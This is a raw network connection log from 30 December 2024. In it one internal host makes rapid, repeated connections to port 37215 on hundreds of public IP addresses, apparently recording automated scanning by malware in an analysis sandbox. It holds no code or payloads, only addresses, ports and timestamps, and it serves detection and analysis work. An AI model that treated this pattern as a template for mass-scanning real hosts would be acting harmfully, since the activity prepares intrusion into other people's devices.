Dec 30, 2024 11:58:15.027367115 CET	14099	37215	192.168.2.13	197.218.207.14
Dec 30, 2024 11:58:15.027371883 CET	37215	14099	197.188.192.13	192.168.2.13
Dec 30, 2024 11:58:15.027374983 CET	14099	37215	192.168.2.13	156.178.18.132
Dec 30, 2024 11:58:15.027383089 CET	37215	14099	156.215.160.55	192.168.2.13
Dec 30, 2024 11:58:15.027391911 CET	37215	14099	41.72.49.233	192.168.2.13
Dec 30, 2024 11:58:15.027394056 CET	14099	37215	192.168.2.13	156.139.131.211
Dec 30, 2024 11:58:15.027400970 CET	37215	14099	156.189.119.214	192.168.2.13
Dec 30, 2024 11:58:15.027409077 CET	14099	37215	192.168.2.13	156.215.160.55
Dec 30, 2024 11:58:15.027414083 CET	14099	37215	192.168.2.13	197.188.192.13
Dec 30, 2024 11:58:15.027420044 CET	37215	14099	41.222.163.245	192.168.2.13
Dec 30, 2024 11:58:15.027434111 CET	37215	14099	41.219.68.163	192.168.2.13
Dec 30, 2024 11:58:15.027434111 CET	14099	37215	192.168.2.13	41.72.49.233
Dec 30, 2024 11:58:15.027436018 CET	14099	37215	192.168.2.13	156.189.119.214
Dec 30, 2024 11:58:15.027445078 CET	37215	59758	197.200.55.247	192.168.2.13
Dec 30, 2024 11:58:15.027448893 CET	14099	37215	192.168.2.13	41.222.163.245
Dec 30, 2024 11:58:15.027461052 CET	14099	37215	192.168.2.13	41.219.68.163
Dec 30, 2024 11:58:15.027729034 CET	50890	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:15.027750969 CET	37215	35222	156.100.80.106	192.168.2.13
Dec 30, 2024 11:58:15.027826071 CET	37215	59820	41.189.121.217	192.168.2.13
Dec 30, 2024 11:58:15.027862072 CET	59820	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:15.028026104 CET	37215	56778	197.35.235.54	192.168.2.13
Dec 30, 2024 11:58:15.028036118 CET	37215	51496	156.126.95.206	192.168.2.13
Dec 30, 2024 11:58:15.028045893 CET	37215	59548	156.59.224.18	192.168.2.13
Dec 30, 2024 11:58:15.028054953 CET	37215	45256	197.144.183.161	192.168.2.13
Dec 30, 2024 11:58:15.028063059 CET	37215	55138	156.180.119.226	192.168.2.13
Dec 30, 2024 11:58:15.028065920 CET	59922	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:15.028072119 CET	37215	46324	197.54.249.204	192.168.2.13
Dec 30, 2024 11:58:15.028083086 CET	59922	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:15.028171062 CET	37215	56778	197.35.235.54	192.168.2.13
Dec 30, 2024 11:58:15.028201103 CET	56778	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:15.028296947 CET	60226	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:15.028357983 CET	37215	52554	41.227.24.2	192.168.2.13
Dec 30, 2024 11:58:15.028645039 CET	42144	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:15.028645039 CET	42144	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:15.028717995 CET	37215	59548	156.59.224.18	192.168.2.13
Dec 30, 2024 11:58:15.028760910 CET	37215	60674	41.173.187.248	192.168.2.13
Dec 30, 2024 11:58:15.028764009 CET	59548	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:15.028878927 CET	42448	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:15.029170990 CET	53316	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:15.029170990 CET	53316	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:15.029191017 CET	37215	46324	197.54.249.204	192.168.2.13
Dec 30, 2024 11:58:15.029226065 CET	46324	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:15.029407978 CET	53620	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:15.029532909 CET	37215	51496	156.126.95.206	192.168.2.13
Dec 30, 2024 11:58:15.029570103 CET	51496	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:15.029700041 CET	41800	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:15.029700041 CET	41800	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:15.029944897 CET	42104	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:15.029968977 CET	37215	55138	156.180.119.226	192.168.2.13
Dec 30, 2024 11:58:15.030059099 CET	55138	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:15.030117989 CET	37215	45256	197.144.183.161	192.168.2.13
Dec 30, 2024 11:58:15.030153990 CET	45256	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:15.030354023 CET	40198	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:15.030364990 CET	40198	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:15.030601978 CET	40570	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:15.030930042 CET	44088	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:15.030944109 CET	44088	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:15.031179905 CET	44458	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:15.031502008 CET	44750	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:15.031502008 CET	44750	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:15.031742096 CET	45120	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:15.032057047 CET	47934	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:15.032057047 CET	47934	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:15.032296896 CET	48304	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:15.032486916 CET	37215	50890	41.48.59.9	192.168.2.13
Dec 30, 2024 11:58:15.032588005 CET	50890	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:15.032629967 CET	50532	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:15.032629967 CET	50532	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:15.032861948 CET	50902	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:15.032883883 CET	37215	59922	197.36.42.38	192.168.2.13
Dec 30, 2024 11:58:15.033190012 CET	54418	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:15.033190012 CET	54418	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:15.033360958 CET	37215	42144	197.207.188.130	192.168.2.13
Dec 30, 2024 11:58:15.033417940 CET	54788	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:15.033719063 CET	59780	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:15.033719063 CET	59780	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:15.033888102 CET	37215	53316	156.184.135.184	192.168.2.13
Dec 30, 2024 11:58:15.033946037 CET	60150	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:15.034238100 CET	35040	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:15.034238100 CET	35040	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:15.034478903 CET	35410	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:15.034488916 CET	37215	41800	197.16.249.219	192.168.2.13
Dec 30, 2024 11:58:15.034763098 CET	44906	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:15.034775019 CET	44906	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:15.034995079 CET	45274	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:15.035181999 CET	37215	40198	197.1.22.107	192.168.2.13
Dec 30, 2024 11:58:15.035285950 CET	45646	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.035285950 CET	45646	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.035532951 CET	46014	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.035639048 CET	37215	44088	41.140.124.59	192.168.2.13
Dec 30, 2024 11:58:15.035830021 CET	50924	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:15.035839081 CET	50924	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:15.036056042 CET	51292	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:15.036303043 CET	37215	44750	156.136.43.250	192.168.2.13
Dec 30, 2024 11:58:15.036355019 CET	60500	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:15.036355019 CET	60500	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:15.036580086 CET	60866	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:15.036855936 CET	37215	47934	41.222.118.20	192.168.2.13
Dec 30, 2024 11:58:15.036875963 CET	50880	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:15.036875963 CET	50880	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:15.037105083 CET	51246	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:15.037391901 CET	59562	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:15.037391901 CET	59562	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:15.037409067 CET	37215	50532	41.153.137.228	192.168.2.13
Dec 30, 2024 11:58:15.037622929 CET	59928	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:15.037916899 CET	44044	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:15.037916899 CET	44044	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:15.037986994 CET	37215	54418	156.13.84.178	192.168.2.13
Dec 30, 2024 11:58:15.038144112 CET	44410	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:15.038444996 CET	58184	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:15.038444996 CET	58184	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:15.038479090 CET	37215	59780	156.97.78.132	192.168.2.13
Dec 30, 2024 11:58:15.038674116 CET	58550	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:15.038969040 CET	49144	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:15.038969040 CET	49144	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:15.038992882 CET	37215	35040	41.227.170.47	192.168.2.13
Dec 30, 2024 11:58:15.039196968 CET	49510	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:15.039488077 CET	47536	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:15.039488077 CET	37215	44906	156.238.46.79	192.168.2.13
Dec 30, 2024 11:58:15.039494991 CET	47536	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:15.039732933 CET	47902	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:15.040024042 CET	53994	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:15.040024042 CET	53994	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:15.040086985 CET	37215	45646	41.243.254.225	192.168.2.13
Dec 30, 2024 11:58:15.040242910 CET	54360	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:15.040292978 CET	37215	46014	41.243.254.225	192.168.2.13
Dec 30, 2024 11:58:15.040321112 CET	46014	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.040554047 CET	45330	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:15.040564060 CET	45330	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:15.040587902 CET	37215	50924	41.180.49.236	192.168.2.13
Dec 30, 2024 11:58:15.040787935 CET	45696	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:15.041079044 CET	33626	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:15.041086912 CET	33626	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:15.041134119 CET	37215	60500	197.19.3.249	192.168.2.13
Dec 30, 2024 11:58:15.041306973 CET	33992	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:15.041661024 CET	37215	50880	197.196.96.67	192.168.2.13
Dec 30, 2024 11:58:15.041707993 CET	34870	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:15.041707993 CET	34870	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:15.041840076 CET	35236	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:15.042121887 CET	55654	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:15.042130947 CET	55654	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:15.042205095 CET	37215	59562	156.200.197.140	192.168.2.13
Dec 30, 2024 11:58:15.042345047 CET	56020	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:15.042639017 CET	40042	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:15.042639017 CET	40042	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:15.042711020 CET	37215	44044	197.15.54.40	192.168.2.13
Dec 30, 2024 11:58:15.042860031 CET	40392	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:15.043152094 CET	55144	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:15.043152094 CET	55144	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:15.043216944 CET	37215	58184	197.236.84.30	192.168.2.13
Dec 30, 2024 11:58:15.043390036 CET	55494	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:15.043684006 CET	38662	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:15.043684006 CET	38662	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:15.043740988 CET	37215	49144	156.57.243.107	192.168.2.13
Dec 30, 2024 11:58:15.043905973 CET	39012	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:15.044187069 CET	52902	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:15.044187069 CET	52902	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:15.044290066 CET	37215	47536	197.173.158.252	192.168.2.13
Dec 30, 2024 11:58:15.044413090 CET	53252	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:15.044698000 CET	38876	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:15.044707060 CET	38876	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:15.044734001 CET	37215	53994	197.130.217.200	192.168.2.13
Dec 30, 2024 11:58:15.044919014 CET	39226	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:15.045212984 CET	52110	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:15.045212984 CET	52110	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:15.045350075 CET	37215	45330	197.17.1.56	192.168.2.13
Dec 30, 2024 11:58:15.045433044 CET	52458	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:15.045751095 CET	46014	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.045861959 CET	37215	33626	156.89.229.196	192.168.2.13
Dec 30, 2024 11:58:15.045978069 CET	50912	37215	192.168.2.13	41.160.145.203
Dec 30, 2024 11:58:15.046278000 CET	50890	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:15.046278000 CET	50890	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:15.046468019 CET	37215	34870	197.244.249.122	192.168.2.13
Dec 30, 2024 11:58:15.046510935 CET	50960	37215	192.168.2.13	41.48.59.9
Dec 30, 2024 11:58:15.046928883 CET	37215	55654	197.36.158.71	192.168.2.13
Dec 30, 2024 11:58:15.047367096 CET	37215	40042	197.52.4.59	192.168.2.13
Dec 30, 2024 11:58:15.047427893 CET	46606	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:15.047431946 CET	49308	37215	192.168.2.13	41.54.241.43
Dec 30, 2024 11:58:15.047434092 CET	36170	37215	192.168.2.13	156.18.212.206
Dec 30, 2024 11:58:15.047445059 CET	43246	37215	192.168.2.13	156.149.76.222
Dec 30, 2024 11:58:15.047445059 CET	57868	37215	192.168.2.13	41.143.121.147
Dec 30, 2024 11:58:15.047449112 CET	60788	37215	192.168.2.13	41.90.32.240
Dec 30, 2024 11:58:15.047458887 CET	51932	37215	192.168.2.13	156.74.171.147
Dec 30, 2024 11:58:15.047465086 CET	35466	37215	192.168.2.13	41.196.183.126
Dec 30, 2024 11:58:15.047465086 CET	47842	37215	192.168.2.13	41.112.222.7
Dec 30, 2024 11:58:15.047465086 CET	35706	37215	192.168.2.13	197.74.34.114
Dec 30, 2024 11:58:15.047470093 CET	49608	37215	192.168.2.13	197.181.210.215
Dec 30, 2024 11:58:15.047471046 CET	48632	37215	192.168.2.13	41.14.243.203
Dec 30, 2024 11:58:15.047477961 CET	58472	37215	192.168.2.13	41.134.236.240
Dec 30, 2024 11:58:15.047482014 CET	58268	37215	192.168.2.13	156.202.34.48
Dec 30, 2024 11:58:15.047491074 CET	51166	37215	192.168.2.13	156.118.23.20
Dec 30, 2024 11:58:15.047492981 CET	36950	37215	192.168.2.13	197.133.23.8
Dec 30, 2024 11:58:15.047492981 CET	32854	37215	192.168.2.13	156.121.201.145
Dec 30, 2024 11:58:15.047508001 CET	60370	37215	192.168.2.13	156.215.234.177
Dec 30, 2024 11:58:15.047508001 CET	33000	37215	192.168.2.13	197.167.74.236
Dec 30, 2024 11:58:15.047508955 CET	41948	37215	192.168.2.13	41.71.20.238
Dec 30, 2024 11:58:15.047514915 CET	37774	37215	192.168.2.13	41.24.62.196
Dec 30, 2024 11:58:15.047516108 CET	33626	37215	192.168.2.13	41.142.156.141
Dec 30, 2024 11:58:15.047517061 CET	48144	37215	192.168.2.13	41.83.14.191
Dec 30, 2024 11:58:15.047518015 CET	39902	37215	192.168.2.13	197.188.207.108
Dec 30, 2024 11:58:15.047522068 CET	33902	37215	192.168.2.13	197.188.204.12
Dec 30, 2024 11:58:15.047527075 CET	33752	37215	192.168.2.13	197.94.136.42
Dec 30, 2024 11:58:15.047533035 CET	60752	37215	192.168.2.13	41.146.12.227
Dec 30, 2024 11:58:15.047533035 CET	38488	37215	192.168.2.13	156.38.138.118
Dec 30, 2024 11:58:15.047539949 CET	52502	37215	192.168.2.13	156.209.225.158
Dec 30, 2024 11:58:15.047542095 CET	51654	37215	192.168.2.13	156.88.218.113
Dec 30, 2024 11:58:15.047549963 CET	56536	37215	192.168.2.13	156.176.132.126
Dec 30, 2024 11:58:15.047554016 CET	46204	37215	192.168.2.13	41.106.254.125
Dec 30, 2024 11:58:15.047555923 CET	36704	37215	192.168.2.13	197.92.59.248
Dec 30, 2024 11:58:15.047564030 CET	41118	37215	192.168.2.13	41.235.222.217
Dec 30, 2024 11:58:15.047615051 CET	33896	37215	192.168.2.13	197.240.89.164
Dec 30, 2024 11:58:15.047616005 CET	44096	37215	192.168.2.13	156.222.241.235
Dec 30, 2024 11:58:15.047616005 CET	48470	37215	192.168.2.13	41.14.138.172
Dec 30, 2024 11:58:15.047616005 CET	38540	37215	192.168.2.13	41.149.85.49
Dec 30, 2024 11:58:15.047617912 CET	58232	37215	192.168.2.13	197.25.188.200
Dec 30, 2024 11:58:15.047617912 CET	34390	37215	192.168.2.13	41.214.140.154
Dec 30, 2024 11:58:15.047621012 CET	33400	37215	192.168.2.13	156.61.136.28
Dec 30, 2024 11:58:15.047633886 CET	33472	37215	192.168.2.13	197.129.120.114
Dec 30, 2024 11:58:15.047633886 CET	42556	37215	192.168.2.13	197.2.232.201
Dec 30, 2024 11:58:15.047636032 CET	55584	37215	192.168.2.13	197.81.139.237
Dec 30, 2024 11:58:15.047636032 CET	53654	37215	192.168.2.13	156.210.252.2
Dec 30, 2024 11:58:15.047636032 CET	53200	37215	192.168.2.13	156.250.125.228
Dec 30, 2024 11:58:15.047636986 CET	49596	37215	192.168.2.13	41.177.76.91
Dec 30, 2024 11:58:15.047636986 CET	59864	37215	192.168.2.13	41.11.243.69
Dec 30, 2024 11:58:15.047637939 CET	47906	37215	192.168.2.13	197.187.166.49
Dec 30, 2024 11:58:15.047637939 CET	37576	37215	192.168.2.13	156.149.165.219
Dec 30, 2024 11:58:15.047638893 CET	47910	37215	192.168.2.13	156.41.81.18
Dec 30, 2024 11:58:15.047638893 CET	41138	37215	192.168.2.13	156.164.58.75
Dec 30, 2024 11:58:15.047638893 CET	34262	37215	192.168.2.13	197.24.236.137
Dec 30, 2024 11:58:15.047641039 CET	48330	37215	192.168.2.13	41.64.243.137
Dec 30, 2024 11:58:15.047641039 CET	38744	37215	192.168.2.13	156.154.52.203
Dec 30, 2024 11:58:15.047641039 CET	59166	37215	192.168.2.13	41.67.187.132
Dec 30, 2024 11:58:15.047641993 CET	57388	37215	192.168.2.13	197.75.57.100
Dec 30, 2024 11:58:15.047641993 CET	41976	37215	192.168.2.13	197.21.118.250
Dec 30, 2024 11:58:15.047641993 CET	53556	37215	192.168.2.13	197.204.96.138
Dec 30, 2024 11:58:15.047641993 CET	35308	37215	192.168.2.13	41.105.60.23
Dec 30, 2024 11:58:15.047647953 CET	50168	37215	192.168.2.13	156.2.203.105
Dec 30, 2024 11:58:15.047652960 CET	49880	37215	192.168.2.13	156.90.223.166
Dec 30, 2024 11:58:15.047652960 CET	45422	37215	192.168.2.13	197.185.69.178
Dec 30, 2024 11:58:15.047651052 CET	59436	37215	192.168.2.13	41.153.67.108
Dec 30, 2024 11:58:15.047652960 CET	53026	37215	192.168.2.13	197.24.38.168
Dec 30, 2024 11:58:15.047882080 CET	37215	55144	197.9.255.10	192.168.2.13
Dec 30, 2024 11:58:15.048508883 CET	37215	38662	197.98.225.122	192.168.2.13
Dec 30, 2024 11:58:15.048993111 CET	37215	52902	156.232.111.124	192.168.2.13
Dec 30, 2024 11:58:15.049483061 CET	37215	38876	197.174.76.207	192.168.2.13
Dec 30, 2024 11:58:15.049987078 CET	37215	52110	197.15.179.183	192.168.2.13
Dec 30, 2024 11:58:15.050540924 CET	37215	46014	41.243.254.225	192.168.2.13
Dec 30, 2024 11:58:15.050574064 CET	46014	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.050976038 CET	37215	50890	41.48.59.9	192.168.2.13
Dec 30, 2024 11:58:15.052350998 CET	37215	46606	41.234.119.105	192.168.2.13
Dec 30, 2024 11:58:15.052388906 CET	46606	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:15.052448988 CET	46606	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:15.052459002 CET	46606	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:15.052731991 CET	46714	37215	192.168.2.13	41.234.119.105
Dec 30, 2024 11:58:15.057245016 CET	37215	46606	41.234.119.105	192.168.2.13
Dec 30, 2024 11:58:15.072026014 CET	37215	35222	156.100.80.106	192.168.2.13
Dec 30, 2024 11:58:15.072036982 CET	37215	59758	197.200.55.247	192.168.2.13
Dec 30, 2024 11:58:15.072046041 CET	37215	60674	41.173.187.248	192.168.2.13
Dec 30, 2024 11:58:15.072056055 CET	37215	52554	41.227.24.2	192.168.2.13
Dec 30, 2024 11:58:15.076045036 CET	37215	44088	41.140.124.59	192.168.2.13
Dec 30, 2024 11:58:15.076055050 CET	37215	40198	197.1.22.107	192.168.2.13
Dec 30, 2024 11:58:15.076065063 CET	37215	41800	197.16.249.219	192.168.2.13
Dec 30, 2024 11:58:15.076073885 CET	37215	53316	156.184.135.184	192.168.2.13
Dec 30, 2024 11:58:15.076083899 CET	37215	42144	197.207.188.130	192.168.2.13
Dec 30, 2024 11:58:15.076092005 CET	37215	59922	197.36.42.38	192.168.2.13
Dec 30, 2024 11:58:15.079442978 CET	44980	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:15.079448938 CET	43244	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:15.079448938 CET	51234	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:15.079456091 CET	37816	37215	192.168.2.13	41.42.18.195
Dec 30, 2024 11:58:15.079456091 CET	51478	37215	192.168.2.13	41.26.165.195
Dec 30, 2024 11:58:15.079464912 CET	54400	37215	192.168.2.13	41.81.140.90
Dec 30, 2024 11:58:15.080044031 CET	37215	44906	156.238.46.79	192.168.2.13
Dec 30, 2024 11:58:15.080054045 CET	37215	35040	41.227.170.47	192.168.2.13
Dec 30, 2024 11:58:15.084023952 CET	37215	50924	41.180.49.236	192.168.2.13
Dec 30, 2024 11:58:15.084032059 CET	37215	59780	156.97.78.132	192.168.2.13
Dec 30, 2024 11:58:15.084041119 CET	37215	54418	156.13.84.178	192.168.2.13
Dec 30, 2024 11:58:15.084048986 CET	37215	50532	41.153.137.228	192.168.2.13
Dec 30, 2024 11:58:15.084057093 CET	37215	47934	41.222.118.20	192.168.2.13
Dec 30, 2024 11:58:15.084065914 CET	37215	44750	156.136.43.250	192.168.2.13
Dec 30, 2024 11:58:15.084074020 CET	37215	45646	41.243.254.225	192.168.2.13
Dec 30, 2024 11:58:15.084279060 CET	37215	44980	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:15.084287882 CET	37215	43244	156.115.229.100	192.168.2.13
Dec 30, 2024 11:58:15.084300995 CET	37215	51234	197.86.238.208	192.168.2.13
Dec 30, 2024 11:58:15.084316969 CET	44980	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:15.084321022 CET	43244	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:15.084327936 CET	51234	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:15.084338903 CET	43244	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:15.084363937 CET	44980	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:15.084608078 CET	34296	37215	192.168.2.13	156.0.77.16
Dec 30, 2024 11:58:15.085091114 CET	51174	37215	192.168.2.13	197.216.50.210
Dec 30, 2024 11:58:15.085386038 CET	51234	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:15.085386038 CET	51234	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:15.085593939 CET	51334	37215	192.168.2.13	197.86.238.208
Dec 30, 2024 11:58:15.088042974 CET	37215	49144	156.57.243.107	192.168.2.13
Dec 30, 2024 11:58:15.088053942 CET	37215	58184	197.236.84.30	192.168.2.13
Dec 30, 2024 11:58:15.088184118 CET	37215	44044	197.15.54.40	192.168.2.13
Dec 30, 2024 11:58:15.088193893 CET	37215	59562	156.200.197.140	192.168.2.13
Dec 30, 2024 11:58:15.088203907 CET	37215	50880	197.196.96.67	192.168.2.13
Dec 30, 2024 11:58:15.088213921 CET	37215	60500	197.19.3.249	192.168.2.13
Dec 30, 2024 11:58:15.088222980 CET	37215	55144	197.9.255.10	192.168.2.13
Dec 30, 2024 11:58:15.088232040 CET	37215	40042	197.52.4.59	192.168.2.13
Dec 30, 2024 11:58:15.088241100 CET	37215	55654	197.36.158.71	192.168.2.13
Dec 30, 2024 11:58:15.088249922 CET	37215	34870	197.244.249.122	192.168.2.13
Dec 30, 2024 11:58:15.088258982 CET	37215	33626	156.89.229.196	192.168.2.13
Dec 30, 2024 11:58:15.088268995 CET	37215	45330	197.17.1.56	192.168.2.13
Dec 30, 2024 11:58:15.088278055 CET	37215	53994	197.130.217.200	192.168.2.13
Dec 30, 2024 11:58:15.088287115 CET	37215	47536	197.173.158.252	192.168.2.13
Dec 30, 2024 11:58:15.089236021 CET	37215	44980	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:15.089266062 CET	44980	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:15.089404106 CET	37215	43244	156.115.229.100	192.168.2.13
Dec 30, 2024 11:58:15.089446068 CET	43244	37215	192.168.2.13	156.115.229.100
Dec 30, 2024 11:58:15.090215921 CET	37215	51234	197.86.238.208	192.168.2.13
Dec 30, 2024 11:58:15.092036963 CET	37215	50890	41.48.59.9	192.168.2.13
Dec 30, 2024 11:58:15.092046976 CET	37215	52110	197.15.179.183	192.168.2.13
Dec 30, 2024 11:58:15.092056990 CET	37215	38876	197.174.76.207	192.168.2.13
Dec 30, 2024 11:58:15.092066050 CET	37215	52902	156.232.111.124	192.168.2.13
Dec 30, 2024 11:58:15.092076063 CET	37215	38662	197.98.225.122	192.168.2.13
Dec 30, 2024 11:58:15.103945971 CET	37215	46606	41.234.119.105	192.168.2.13
Dec 30, 2024 11:58:15.132009029 CET	37215	51234	197.86.238.208	192.168.2.13
Dec 30, 2024 11:58:15.898483038 CET	37215	44970	197.9.24.62	192.168.2.13
Dec 30, 2024 11:58:15.898632050 CET	44970	37215	192.168.2.13	197.9.24.62
Dec 30, 2024 11:58:16.039534092 CET	51292	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:16.039535046 CET	51246	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:16.039535046 CET	59928	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:16.039535999 CET	49510	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:16.039535999 CET	44410	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:16.039535999 CET	45274	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:16.039535999 CET	60866	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:16.039573908 CET	45120	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:16.039573908 CET	40570	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:16.039573908 CET	42104	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:16.039577007 CET	54788	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:16.039577007 CET	39680	37215	192.168.2.13	156.134.20.212
